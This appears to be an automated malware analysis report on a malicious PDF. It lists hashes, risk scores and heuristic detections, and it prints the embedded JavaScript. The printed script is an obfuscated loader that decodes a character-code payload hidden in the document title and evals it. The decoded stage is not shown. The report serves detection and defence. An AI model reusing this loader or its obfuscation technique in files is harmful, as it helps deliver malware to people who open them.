Malicious PDF — malware analysis report

Static analysis result for SHA-256 cd91c67bc350085d…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-09
MD5: bac8725272166b1378c083dafb657e61 SHA-1: 05181bdc02ff14b35253d5ad884651c2ee6492df SHA-256: cd91c67bc350085dd963efa612a146afedc250468fdf6d94b69d6bce50547c7d
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flagged this PDF as malicious. The embedded JavaScript is likely responsible for executing malicious code, although its specific actions cannot be determined without further analysis of the script content. The 'test' in the document body provides no actionable information.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0C8 485 bytes
SHA-256: ea38c3a54606e63b3460c4033c301811ac6cc98ead1d795e9476de2a894503a8
Preview script
First 1,000 lines of the extracted script
cwfg='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
zuff=e('ti'+'tle');
s=zuff.substr(t.length + 8,3)+'str';
q=zuff[s](1,(1,t.length + 7));
jobl=e('S'+'tring.fro'+q);
q=zuff[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	jod = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	cwfg += jobl(jod);
}
e(cwfg);

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